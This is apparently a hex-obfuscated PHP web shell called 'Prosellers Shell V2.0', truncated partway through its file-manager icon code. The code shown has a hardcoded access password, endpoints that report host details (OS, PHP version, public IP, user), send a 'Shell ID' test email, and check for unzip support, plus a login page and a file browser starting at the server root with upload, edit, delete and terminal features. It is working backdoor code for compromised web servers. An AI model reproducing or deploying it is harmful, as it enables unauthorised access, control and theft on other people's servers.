<?php session_start(); $auth_pass = "pro1234"; if (isset($_GET["\x63\x68\x65\x63\x6b\x70\x61\x73\x73"])) { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e"); $publicIp = @file_get_contents("\x68\x74\x74\x70\x3a\x2f\x2f\x61\x70\x69\x2e\x69\x70\x69\x66\x79\x2e\x6f\x72\x67"); echo json_encode([ "\x73\x74\x61\x74\x75\x73" => ($_GET["\x63\x68\x65\x63\x6b\x70\x61\x73\x73"] === $auth_pass), "\x75\x6e\x61\x6d\x65" => php_uname(), "\x70\x68\x70\x5f\x76\x65\x72\x73\x69\x6f\x6e" => phpversion(), "\x69\x70" => $publicIp ? $publicIp : ($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52"] ?? gethostbyname(gethostname())), "\x75\x73\x65\x72" => get_current_user() ]); exit; } if (isset($_GET["\x63\x68\x65\x63\x6b\x6d\x61\x69\x6c"], $_GET["\x70\x61\x73\x73"])) { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e"); if ($_GET["\x70\x61\x73\x73"] !== $auth_pass) { echo json_encode(["\x73\x74\x61\x74\x75\x73" => false]); exit; } $email = $_GET["\x63\x68\x65\x63\x6b\x6d\x61\x69\x6c"]; if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo json_encode(["\x73\x74\x61\x74\x75\x73" => false]); exit; } $itemid = ""; if (isset($_GET["\x69\x74\x65\x6d\x69\x64"]) && $_GET["\x69\x74\x65\x6d\x69\x64"] !== "") { $raw = (string) $_GET["\x69\x74\x65\x6d\x69\x64"]; if (preg_match("\x2f\x5e\x5b\x61\x2d\x7a\x41\x2d\x5a\x30\x2d\x39\x5f\x2d\x5d\x7b\x31\x2c\x31\x32\x38\x7d\x24\x2f", $raw)) { $itemid = $raw; } } $subject = "Test Mail"; $body = "This is a test mail from " . ($_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"] ?? ""); if ($itemid !== "") { $subject .= " — Shell #" . $itemid; $body .= "\r\n\r\nShell ID: " . $itemid; } $sent = @mail($email, $subject, $body); $out = ["\x73\x74\x61\x74\x75\x73" => $sent]; if ($itemid !== "") { $out["\x69\x74\x65\x6d\x69\x64"] = $itemid; } echo json_encode($out); exit; } if (isset($_GET["\x63\x68\x65\x63\x6b\x75\x6e\x7a\x69\x70"], $_GET["\x70\x61\x73\x73"])) { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e"); if ($_GET["\x70\x61\x73\x73"] !== $auth_pass) { echo json_encode(["\x73\x74\x61\x74\x75\x73" => false]); exit; } $hasUnzip = false; if (class_exists("\x5a\x69\x70\x41\x72\x63\x68\x69\x76\x65")) { $hasUnzip = true; } else { $paths = ["\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x75\x6e\x7a\x69\x70", "\x2f\x62\x69\x6e\x2f\x75\x6e\x7a\x69\x70", "\x2f\x75\x73\x72\x2f\x6c\x6f\x63\x61\x6c\x2f\x62\x69\x6e\x2f\x75\x6e\x7a\x69\x70", "\x2f\x73\x62\x69\x6e\x2f\x75\x6e\x7a\x69\x70"]; foreach ($paths as $p) { if (@file_exists($p) && @is_executable($p)) { $hasUnzip = true; break; } } } echo json_encode(["\x73\x74\x61\x74\x75\x73" => $hasUnzip]); exit; } if (isset($_GET["\x6c\x6f\x67\x6f\x75\x74"])) { session_destroy(); header("Location: ?"); exit; } if (isset($_POST["\x70\x61\x73\x73"]) && $_POST["\x70\x61\x73\x73"] === $auth_pass) $_SESSION["\x6c\x6f\x67\x67\x65\x64\x5f\x69\x6e"] = true; if (empty($_SESSION["\x6c\x6f\x67\x67\x65\x64\x5f\x69\x6e"])) { ?>
<!DOCTYPE html>
<html>
<head>
<title>Prosellers Shell V2.0 Login</title>
<style>
body { background: #0f1115; color: #94a3b8; font-family: 'Inter', sans-serif; display: flex; height: 100vh; align-items: center; justify-content: center; margin: 0; }
.login-box { background: #1f2937; padding: 40px; border-radius: 12px; border: 1px solid #374151; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.5); text-align: center; width: 300px; }
h2 { color: #f3f4f6; margin-top: 0; }
input { width: 100%; padding: 10px; margin: 15px 0; background: #111827; border: 1px solid #374151; color: #fff; border-radius: 6px; box-sizing: border-box; }
button { width: 100%; padding: 10px; background: #10b981; color: #fff; border: none; border-radius: 6px; cursor: pointer; font-weight: 600; transition: background 0.2s; }
button:hover { background: #059669; }
</style>
</head>
<body>
<div class="login-box">
    <h2>Login</h2>
    <form method="post">
        <input type="password" name="pass" placeholder="Password" required autofocus>
        <button type="submit">Access Shell</button>
    </form>
</div>
</body>
</html>
<?php exit; } ?>
<?php @ini_set("\x6d\x65\x6d\x6f\x72\x79\x5f\x6c\x69\x6d\x69\x74", "\x35\x31\x32\x4d"); @set_time_limit(0); $rootPath = realpath("\x2f"); $currentPath = isset($_GET["\x70\x61\x74\x68"]) ? realpath($_GET["\x70\x61\x74\x68"]) : realpath(__DIR__); if (!$currentPath) $currentPath = realpath(__DIR__); function p($path) { return htmlspecialchars($path); } function icon($name) { $icons = [ "\x66\x6f\x6c\x64\x65\x72" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x32\x20\x31\x39\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x20\x32\x48\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x2d\x32\x56\x35\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x20\x32\x2d\x32\x68\x35\x6c\x32\x20\x33\x68\x39\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x20\x32\x20\x32\x7a\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x2f\x73\x76\x67\x3e", "\x66\x69\x6c\x65" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x20\x32\x48\x36\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x2d\x32\x20\x32\x76\x31\x36\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x20\x32\x20\x32\x68\x31\x32\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x20\x32\x2d\x32\x56\x39\x7a\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x31\x33\x20\x32\x20\x31\x33\x20\x39\x20\x32\x30\x20\x39\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x75\x70\x6c\x6f\x61\x64" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x31\x20\x31\x35\x76\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x20\x32\x48\x35\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x2d\x32\x76\x2d\x34\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x31\x37\x20\x38\x20\x31\x32\x20\x33\x20\x37\x20\x38\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x31\x32\x22\x20\x79\x31\x3d\x22\x33\x22\x20\x78\x32\x3d\x22\x31\x32\x22\x20\x79\x32\x3d\x22\x31\x35\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x70\x6c\x75\x73" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x31\x32\x22\x20\x79\x31\x3d\x22\x35\x22\x20\x78\x32\x3d\x22\x31\x32\x22\x20\x79\x32\x3d\x22\x31\x39\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x35\x22\x20\x79\x31\x3d\x22\x31\x32\x22\x20\x78\x32\x3d\x22\x31\x39\x22\x20\x79\x32\x3d\x22\x31\x32\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x74\x72\x61\x73\x68" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x33\x20\x36\x20\x35\x20\x36\x20\x32\x31\x20\x36\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x39\x20\x36\x76\x31\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x20\x32\x48\x37\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x2d\x32\x56\x36\x6d\x33\x20\x30\x56\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x20\x32\x2d\x32\x68\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x20\x32\x20\x32\x76\x32\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x2f\x73\x76\x67\x3e", "\x73\x65\x61\x72\x63\x68" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x63\x69\x72\x63\x6c\x65\x20\x63\x78\x3d\x22\x31\x31\x22\x20\x63\x79\x3d\x22\x31\x31\x22\x20\x72\x3d\x22\x38\x22\x3e\x3c\x2f\x63\x69\x72\x63\x6c\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x32\x31\x22\x20\x79\x31\x3d\x22\x32\x31\x22\x20\x78\x32\x3d\x22\x31\x36\x2e\x36\x35\x22\x20\x79\x32\x3d\x22\x31\x36\x2e\x36\x35\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x65\x64\x69\x74" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x31\x20\x34\x48\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x2d\x32\x20\x32\x76\x31\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x20\x32\x20\x32\x68\x31\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x30\x20\x32\x2d\x32\x76\x2d\x37\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x38\x2e\x35\x20\x32\x2e\x35\x61\x32\x2e\x31\x32\x31\x20\x32\x2e\x31\x32\x31\x20\x30\x20\x30\x20\x31\x20\x33\x20\x33\x4c\x31\x32\x20\x31\x35\x6c\x2d\x34\x20\x31\x20\x31\x2d\x34\x20\x39\x2e\x35\x2d\x39\x2e\x35\x7a\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x2f\x73\x76\x67\x3e", "\x68\x6f\x6d\x65" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x33\x20\x39\x6c\x39\x2d\x37\x20\x39\x20\x37\x76\x31\x31\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x20\x32\x48\x35\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x2d\x32\x7a\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x39\x20\x32\x32\x20\x39\x20\x31\x32\x20\x31\x35\x20\x31\x32\x20\x31\x35\x20\x32\x32\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x74\x65\x72\x6d\x69\x6e\x61\x6c" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x32\x30\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x34\x20\x31\x37\x20\x31\x30\x20\x31\x31\x20\x34\x20\x35\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x31\x32\x22\x20\x79\x31\x3d\x22\x31\x39\x22\x20\x78\x32\x3d\x22\x32\x30\x22\x20\x79\x32\x3d\x22\x31\x39\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x64\x6f\x77\x6e\x6c\x6f\x61\x64" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x31\x20\x31\x35\x76\x34\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x20\x32\x48\x35\x61\x32\x20\x32\x20\x30\x20\x30\x20\x31\x2d\x32\x2d\x32\x76\x2d\x34\x22\x3e\x3c\x2f\x70\x61\x74\x68\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x37\x20\x31\x30\x20\x31\x32\x20\x31\x35\x20\x31\x37\x20\x31\x30\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x31\x32\x22\x20\x79\x31\x3d\x22\x31\x35\x22\x20\x78\x32\x3d\x22\x31\x32\x22\x20\x79\x32\x3d\x22\x33\x22\x3e\x3c\x2f\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x63\x68\x65\x76\x72\x6f\x6e\x2d\x72\x69\x67\x68\x74" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x20\x70\x6f\x69\x6e\x74\x73\x3d\x22\x39\x20\x31\x38\x20\x31\x35\x20\x31\x32\x20\x39\x20\x36\x22\x3e\x3c\x2f\x70\x6f\x6c\x79\x6c\x69\x6e\x65\x3e\x3c\x2f\x73\x76\x67\x3e", "\x73\x65\x72\x76\x65\x72" => "\x3c\x73\x76\x67\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x36\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x36\x22\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x3e\x3c\x72\x65\x63\x74\x20\x78\x3d\x22\x32\x22\x20\x79\x3d\x22\x32\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x38\x22\x20\x72\x78\x3d\x22\x32\x22\x20\x72\x79\x3d\x22\x32\x22\x3e\x3c\x2f\x72\x65\x63\x74\x3e\x3c\x72\x65\x63\x74\x20\x78\x3d\x22\x32\x22\x20\x79\x3d\x22\x31\x34\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x38\x22\x20\x72\x78\x3d\x22\x32\x22\x20\x72\x79\x3d\x22\x32\x22\x3e\x3c\x2f\x72\x65\x63\x74\x3e\x3c\x6c\x69\x6e\x65\x20\x78\x31\x3d\x22\x36\x22\x20\x79\x31\x3d\x22\x36\x22\x20\x78\x32\x3d\x22\x36\x2e\x30\x31\x22\x20\x79\x32\x3d\x22\x36\x22\x3e\x3c\x2f\x6c\x69\x6